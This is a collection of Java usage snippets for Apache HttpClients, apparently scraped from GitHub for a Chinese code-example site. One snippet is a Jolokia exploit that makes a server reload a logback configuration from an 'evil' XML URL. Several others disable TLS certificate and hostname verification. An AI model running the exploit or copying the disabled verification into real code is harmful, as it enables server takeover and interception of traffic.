下面列出了怎么用org.apache.http.impl.client.HttpClients的API类实例代码及写法,或者点击链接到github查看源代码。
@Test
void testClassScopeMediaTypeAnnotations() throws Exception {
try (CloseableHttpClient hc = HttpClients.createMinimal()) {
final String uri = "/9/same/path";
// "application/xml" is matched because "Accept: */*" is specified and
// the order of @ProduceTypes is {"application/xml", "application/json"}.
testBodyAndContentType(hc, get(uri, "*/*"),
"GET", "application/xml");
testBodyAndContentType(hc, post(uri, "application/xml", "*/*"),
"POST", "application/xml");
// "application/json" is matched because "Accept: application/json" is specified.
testBodyAndContentType(hc, get(uri, "application/json"),
"GET", "application/json");
testBodyAndContentType(hc, post(uri, "application/json", "application/json"),
"POST", "application/json");
testStatusCode(hc, get(uri, "text/plain"), 406);
testStatusCode(hc, post(uri, "text/plain", "*/*"), 415);
}
}
private HttpClientBuilder createBuilder() {
// brave enforces this, hopefully can be removed again eventually
HttpClientBuilder builder = null;
for (HttpClientAdapterListener listener : nativeListeners) {
if (listener instanceof HttpClientBuilderFactory) {
PreconditionUtil
.assertNull("only one module can contribute a HttpClientBuilder with HttpClientBuilderFactory", builder);
builder = ((HttpClientBuilderFactory) listener).createBuilder();
}
}
if (builder != null) {
return builder;
} else {
return HttpClients.custom();
}
}
@Test
public void echoPost() throws Exception {
try (CloseableHttpClient hc = HttpClients.createMinimal()) {
final HttpPost post = new HttpPost(server().httpUri() + "/jsp/echo_post.jsp");
post.setEntity(new StringEntity("test"));
try (CloseableHttpResponse res = hc.execute(post)) {
assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 200 OK");
assertThat(res.getFirstHeader(HttpHeaderNames.CONTENT_TYPE.toString()).getValue())
.startsWith("text/html");
final String actualContent = CR_OR_LF.matcher(EntityUtils.toString(res.getEntity()))
.replaceAll("");
assertThat(actualContent).isEqualTo(
"<html><body>" +
"<p>Check request body</p>" +
"<p>test</p>" +
"</body></html>");
}
}
}
/**
* This method has been overridden here simply to show how a custom/project-specific http client
* can be plugged into the framework.
*
* e.g. You can create your own project specific http client needed for http/https/tls connections or
* a Corporate proxy based Http client here.
* Sometimes you may need a simple default http client
* e.g. HttpClients.createDefault() provided by Apache lib.
*
* Note:
* If you do not override this method, the framework anyways creates a http client suitable for both http/https.
*/
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");
SSLContext sslContext = new SSLContextBuilder()
.loadTrustMaterial(null, (certificate, authType) -> true).build();
CookieStore cookieStore = new BasicCookieStore();
return HttpClients.custom()
.setSSLContext(sslContext)
.setSSLHostnameVerifier(new NoopHostnameVerifier())
.setDefaultCookieStore(cookieStore)
.build();
}
/**
* This method has been overridden here simply to show how a custom/project-specific http client
* can be plugged into the framework.
*
* e.g. You can create your own project specific http client needed for http/https/tls connections or
* a Corporate proxy based Http client here.
* Sometimes you may need a simple default http client
* e.g. HttpClients.createDefault() provided by Apache lib.
*
* Note:
* If you do not override this method, the framework anyways creates a http client suitable for both http/https.
*/
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");
SSLContext sslContext = new SSLContextBuilder()
.loadTrustMaterial(null, (certificate, authType) -> true).build();
CookieStore cookieStore = new BasicCookieStore();
return HttpClients.custom()
.setSSLContext(sslContext)
.setSSLHostnameVerifier(new NoopHostnameVerifier())
.setDefaultCookieStore(cookieStore)
.build();
}
@Test
public void should200OnPOSTWithAnyAcceptHeaderDefaultResultToJson() throws Exception {
final CloseableHttpClient httpclient = HttpClients.createDefault();
final HttpPost httppost = new HttpPost(TestClientFactory.createURLString());
httppost.addHeader("Content-Type", "application/json");
httppost.addHeader("Accept", "*/*");
httppost.setEntity(new StringEntity("{\"gremlin\":\"1-1\"}", Consts.UTF_8));
try (final CloseableHttpResponse response = httpclient.execute(httppost)) {
assertEquals(200, response.getStatusLine().getStatusCode());
assertEquals("application/json", response.getEntity().getContentType().getValue());
final String json = EntityUtils.toString(response.getEntity());
final JsonNode node = mapper.readTree(json);
assertEquals(0, node.get("result").get("data").get(GraphSONTokens.VALUEPROP).get(0).get(GraphSONTokens.VALUEPROP).asInt());
}
}
@Before
public void setUp() throws Exception {
this.client = HttpClients.custom()
.setServiceUnavailableRetryStrategy(new DefaultServiceUnavailableRetryStrategy(3, 2000))
.setDefaultRequestConfig(RequestConfig.custom()
.setSocketTimeout(10000)
.setConnectTimeout(10000)
.setConnectionRequestTimeout(10000)
.build()).build();
this.om = new ObjectMapper();
this.wsClient = ClientManager.createClient();
wsClient.getProperties().put(ClientProperties.HANDSHAKE_TIMEOUT, 10000);
if (System.getProperty(TRAVIS_ENV) != null) {
System.out.println("waiting for Travis machine");
waitUrlAvailable(String.format("http://%s:%d/api?name=foo", LOCALHOST, PORT));
// Thread.sleep(1); // Ugly sleep to debug travis
}
}
@Autowired
public ExternalItemRecommendationAlgorithm(ItemService itemService){
cm = new PoolingHttpClientConnectionManager();
cm.setMaxTotal(100);
cm.setDefaultMaxPerRoute(20);
RequestConfig requestConfig = RequestConfig.custom()
.setConnectionRequestTimeout(DEFAULT_REQ_TIMEOUT)
.setConnectTimeout(DEFAULT_CON_TIMEOUT)
.setSocketTimeout(DEFAULT_SOCKET_TIMEOUT).build();
httpClient = HttpClients.custom()
.setConnectionManager(cm)
.setDefaultRequestConfig(requestConfig)
.build();
this.itemService = itemService;
}
public void setProxy(String proxyHost, Integer proxyPort, Credentials credentials) {
this.proxyHost = proxyHost;
this.proxyPort = proxyPort;
if (this.proxyHost.length() > 0 && !this.proxyPort.equals(0)) {
HttpClientBuilder clientBuilder = HttpClients.custom()
.useSystemProperties()
.setProxy(new HttpHost(proxyHost, proxyPort, "http"));
if (credentials != null) {
CredentialsProvider credsProvider = new BasicCredentialsProvider();
credsProvider.setCredentials(new AuthScope(proxyHost, proxyPort), credentials);
clientBuilder.setDefaultCredentialsProvider(credsProvider);
Loggers.SERVER.debug("SlackNotification ::using proxy credentials " + credentials.getUserPrincipal().getName());
}
this.client = clientBuilder.build();
}
}
@Override
public String get(Class clz, String url, List<KV> headerList) {
CloseableHttpClient httpclient = null;
if (requestInterceptor != null && responseInterceptor != null) {
httpclient = httpClient(requestInterceptor, responseInterceptor);
} else {
httpclient = HttpClients.createDefault();
}
List<KV> tempHeaderList = new ArrayList<>();
for (HeaderInterceptor headerInterceptor : headerInterceptorList){
KV kv = headerInterceptor.apply(this);
tempHeaderList.add(kv);
}
if (headerList!=null && !tempHeaderList.isEmpty()) {
tempHeaderList.addAll(headerList);
}
return HttpClientUtil.get(clz,url, tempHeaderList,properties.getConnectTimeout(),properties.getSocketTimeout(),httpclient);
}
/**
* Create database in influxdb according to configuration provided
*
* @param configuration
* @throws Exception
*/
public static void createDatabase(InfluxDBConf configuration) throws Exception {
if (configuration == null) {
return;
}
StringBuffer url = new StringBuffer();
url.append(HTTP).append(configuration.getHost().trim()).append(COLON)
.append(configuration.getPort()).append(SLASH_QUERY);
CloseableHttpClient httpClient = HttpClients.createDefault();
HttpPost httpPost = new HttpPost(url.toString());
httpPost.setEntity(new StringEntity(CREATE_DATABASE + configuration.getDatabase() + "\"",
ContentType.APPLICATION_FORM_URLENCODED));
httpClient.execute(httpPost);
httpClient.close();
createRetentionPolicy(configuration);
updateRetentionPolicy(configuration);
}
public static void main(String[] args) {
String target = "http://localhost:8080";
String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpGet);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Test
public void testGetUserFromAdminPageNoAccessWithFakeCookie2() throws Exception {
login(admin.email, admin.pass);
SSLContext sslcontext = TestUtil.initUnsecuredSSLContext();
// Allow TLSv1 protocol only
SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslcontext, new MyHostVerifier());
CloseableHttpClient httpclient2 = HttpClients.custom()
.setSSLSocketFactory(sslsf)
.setDefaultRequestConfig(RequestConfig.custom().setCookieSpec(CookieSpecs.STANDARD).build())
.build();
String testUser = "[email protected]";
String appName = "Blynk";
HttpGet request = new HttpGet(httpsAdminServerUrl + "/users/" + testUser + "-" + appName);
request.setHeader("Cookie", "session=123");
try (CloseableHttpResponse response = httpclient2.execute(request)) {
assertEquals(404, response.getStatusLine().getStatusCode());
}
}
@Override
public void run() {
try (CloseableHttpClient client = HttpClients.createDefault()) {
System.out.println("sending request to " + url);
HttpPost post = new HttpPost(url);
StringEntity entity = new StringEntity(GSON.toJson(request), "UTF-8");
post.setEntity(entity);
try (CloseableHttpResponse response = client.execute(post)) {
System.out.println("done: " + response.getStatusLine());
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private static InputStream getInputStreamByUrl(String url, String referer) {
HttpGet httpGet = new HttpGet(checkUrl(url));
httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36");
if (StringUtils.isNotEmpty(referer)) {
httpGet.setHeader("referer", referer);
}
CloseableHttpClient httpclient = HttpClients.createDefault();
CloseableHttpResponse response = null;
InputStream in = null;
try {
response = httpclient.execute(httpGet);
in = response.getEntity().getContent();
if (response.getStatusLine().getStatusCode() == 200) {
return in;
} else {
log.error("Error. %s", parseInputStream(in));
return null;
}
} catch (IOException e) {
log.error(e.getMessage(), e);
}
return in;
}
private HttpClient httpClient() throws Exception {
// Load our keystore and truststore containing certificates that we trust.
SSLContext sslcontext =
SSLContexts.custom().loadTrustMaterial(trustResource.getFile(), trustStorePassword.toCharArray())
.loadKeyMaterial(keyStore.getFile(), keyStorePassword.toCharArray(),
keyPassword.toCharArray()).build();
SSLConnectionSocketFactory sslConnectionSocketFactory =
new SSLConnectionSocketFactory(sslcontext, new NoopHostnameVerifier());
return HttpClients.custom().setSSLSocketFactory(sslConnectionSocketFactory).build();
}
public void start() throws Exception {
Objects.nonNull(config);
assert(config.getScheme().startsWith("http"));
URIBuilder uriBuilder = new URIBuilder();
uriBuilder.setScheme(config.getScheme());
uriBuilder.setHost(config.getHosts().get(0));
uriBuilder.setPort(config.getPort().intValue());
baseURI = uriBuilder.build();
client = HttpClients.createDefault();
}
public static void fhirResourceGetHistory(String resourceName, String versionId)
throws IOException, URISyntaxException {
// String resourceName =
// String.format(
// FHIR_NAME, "project-id", "region-id", "dataset-id", "store-id", "resource-type",
// "resource-id");
// String versionId = "version-uuid"
// Initialize the client, which will be used to interact with the service.
CloudHealthcare client = createClient();
HttpClient httpClient = HttpClients.createDefault();
String uri = String.format("%sv1/%s/_history/%s", client.getRootUrl(), resourceName, versionId);
URIBuilder uriBuilder = new URIBuilder(uri).setParameter("access_token", getAccessToken());
HttpUriRequest request =
RequestBuilder.get()
.setUri(uriBuilder.build())
.addHeader("Content-Type", "application/fhir+json")
.addHeader("Accept-Charset", "utf-8")
.addHeader("Accept", "application/fhir+json; charset=utf-8")
.build();
// Execute the request and process the results.
HttpResponse response = httpClient.execute(request);
HttpEntity responseEntity = response.getEntity();
if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
System.err.print(
String.format(
"Exception retrieving FHIR history: %s\n", response.getStatusLine().toString()));
responseEntity.writeTo(System.err);
throw new RuntimeException();
}
System.out.println("FHIR resource retrieved from version: ");
responseEntity.writeTo(System.out);
}
/**
* 执行一个http请求,传递HttpGet或HttpPost参数
*/
public static String executeRequest(HttpUriRequest httpRequest, String charset) {
CloseableHttpClient httpclient;
if ("https".equals(httpRequest.getURI().getScheme())){
httpclient = createSSLInsecureClient();
}else{
httpclient = HttpClients.createDefault();
}
String result = "";
try {
try {
CloseableHttpResponse response = httpclient.execute(httpRequest);
HttpEntity entity = null;
try {
entity = response.getEntity();
result = EntityUtils.toString(entity, charset);
} finally {
EntityUtils.consume(entity);
response.close();
}
} finally {
httpclient.close();
}
}catch(IOException ex){
ex.printStackTrace();
}
return result;
}
protected HttpClientBuilder clientBuilder(final URL nexusUrl, final boolean useCredentials) throws Exception {
HttpClientBuilder builder = HttpClients.custom();
builder.setDefaultRequestConfig(requestConfig());
if (useCredentials) {
doUseCredentials(nexusUrl, builder);
}
builder.setSSLSocketFactory(sslSocketFactory());
return builder;
}
private HttpResponse httpPostCall() throws IOException {
String content = readFile("InputFile.json", StandardCharsets.UTF_8);
JSONObject obj = new JSONObject(content);
JSONObject postInput = (JSONObject) obj.get("postInput");
String poolStr = postInput.toString();
StringEntity entity = new StringEntity(poolStr);
CloseableHttpClient httpClient = HttpClients.createDefault();
HttpPost request = new HttpPost("http://localhost:8090/api/pool");
request.addHeader("Content-Type", "application/json");
request.setEntity(entity);
return httpClient.execute(request);
}
private static String callServer(HttpRequestBase request){
try(CloseableHttpClient httpclient = HttpClients.createDefault()){
System.out.println(request);
HttpResponse response = httpclient.execute(request);
return getAndVerifySuccessfulResponse(response);
}
catch (IOException ex) {
WebauthnTutorialLogger.logp(Level.SEVERE, CLASSNAME, "callSKFSRestApi", "WEBAUTHN-ERR-5001", ex.getLocalizedMessage());
throw new WebServiceException(WebauthnTutorialLogger.getMessageProperty("WEBAUTHN-ERR-5001"));
}
}
/**
* Creates an HTTP client that trusts all upstream servers and uses a localhost proxy on the specified port.
*/
private static CloseableHttpClient getNewHttpClient(int proxyPort) {
try {
// Trust all certs -- under no circumstances should this ever be used outside of testing
SSLContext sslcontext = SSLContexts.custom()
.useTLS()
.loadTrustMaterial(null, new TrustStrategy() {
@Override
public boolean isTrusted(X509Certificate[] chain, String authType) throws CertificateException {
return true;
}
})
.build();
SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(
sslcontext,
SSLConnectionSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
CloseableHttpClient httpclient = HttpClients.custom()
.setSSLSocketFactory(sslsf)
.setProxy(new HttpHost("127.0.0.1", proxyPort))
// disable decompressing content, since some tests want uncompressed content for testing purposes
.disableContentCompression()
.disableAutomaticRetries()
.build();
return httpclient;
} catch (Exception e) {
throw new RuntimeException("Unable to create new HTTP client", e);
}
}
public static CloseableHttpClient createClient(String userAgent){
CloseableHttpClient client = null;
HttpClientBuilder builder = HttpClients.custom().setDefaultRequestConfig(requestConfig);
builder.setUserAgent(userAgent);
client = builder.build();
return client;
}
@Test
public void requestWithValidToken_ok() throws IOException {
String jwt = rule.getPreconfiguredJwtGenerator()
.withClaimValue(GRANT_TYPE, GRANT_TYPE_CLIENT_CREDENTIALS)
.withScopes(getGlobalScope("Read"))
.withClaimValue(TokenClaims.EMAIL, "[email protected]")
.createToken()
.getTokenValue();
HttpGet request = createGetRequest(jwt);
try (CloseableHttpResponse response = HttpClients.createDefault().execute(request)) {
assertThat(response.getStatusLine().getStatusCode()).isEqualTo(HttpStatus.SC_OK); // 200
assertThat(EntityUtils.toString(response.getEntity(), "UTF-8"))
.isEqualTo("You ('[email protected]') can access the application with the following scopes: '[xsapp!t0815.Read]'.");
}
}
@Test
void testAuthorizerResolveNull() throws Exception {
try (CloseableHttpClient hc = HttpClients.createMinimal()) {
try (CloseableHttpResponse res =
hc.execute(new HttpGet(server.httpUri() + "/authorizer_resolve_null"))) {
assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 401 Unauthorized");
}
}
}
public static String get(String url) {
HttpGet httpGet = new HttpGet(url);
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
// .setProxy(new HttpHost("127.0.0.1", 8080))
.disableRedirectHandling()
// .disableCookieManagement()
;
if (url.startsWith("https://")) {
httpClientBuilder.setSSLSocketFactory(sslsf);
}
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpGet);
int status = response.getStatusLine().getStatusCode();
if (status == 200) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line);
}
return stringBuilder.toString();
}
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private static void visit() throws IOException {
try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
HttpGet httpget = new HttpGet("http://localhost:8080/struts2.5-scenario/struts-scenario/case1.action");
ResponseHandler<String> responseHandler = response -> {
HttpEntity entity = response.getEntity();
return entity != null ? EntityUtils.toString(entity) : null;
};
httpClient.execute(httpget, responseHandler);
}
}
static TimeoutRestTemplate createRestTemplate(int readTimeout, int connectTimeout) {
HttpComponentsClientHttpRequestFactory factory = new TimeoutHttpComponentsClientHttpRequestFactory();
factory.setReadTimeout(readTimeout);
factory.setConnectTimeout(connectTimeout);
SSLContext sslContext = DefaultSSLVerifier.getSSLContext(DefaultSSLVerifier.trustAllCerts);
if (sslContext != null) {
factory.setHttpClient(HttpClients.custom()
.setSSLHostnameVerifier(new NoopHostnameVerifier())
.setSSLContext(sslContext)
.build());
}
TimeoutRestTemplate template = new TimeoutRestTemplate(factory);
StringHttpMessageConverter stringHttpMessageConverter = new StringHttpMessageConverter(StandardCharsets.UTF_8);
stringHttpMessageConverter.setWriteAcceptCharset(true);
for (int i = 0; i < template.getMessageConverters().size(); i++) {
if (template.getMessageConverters().get(i) instanceof StringHttpMessageConverter) {
template.getMessageConverters().remove(i);
template.getMessageConverters().add(i, stringHttpMessageConverter);
break;
}
}
return template;
}
protected void initializeClient() {
socketFactoryRegistry = this.configureSocketFactories();
configureConnectionPool(socketFactoryRegistry);
this.authCache = new BasicAuthCache();
// A single thread-safe HttpClient, pooling connections via the ConnectionManager
this.client = HttpClients.custom().setConnectionManager(pool).build();
}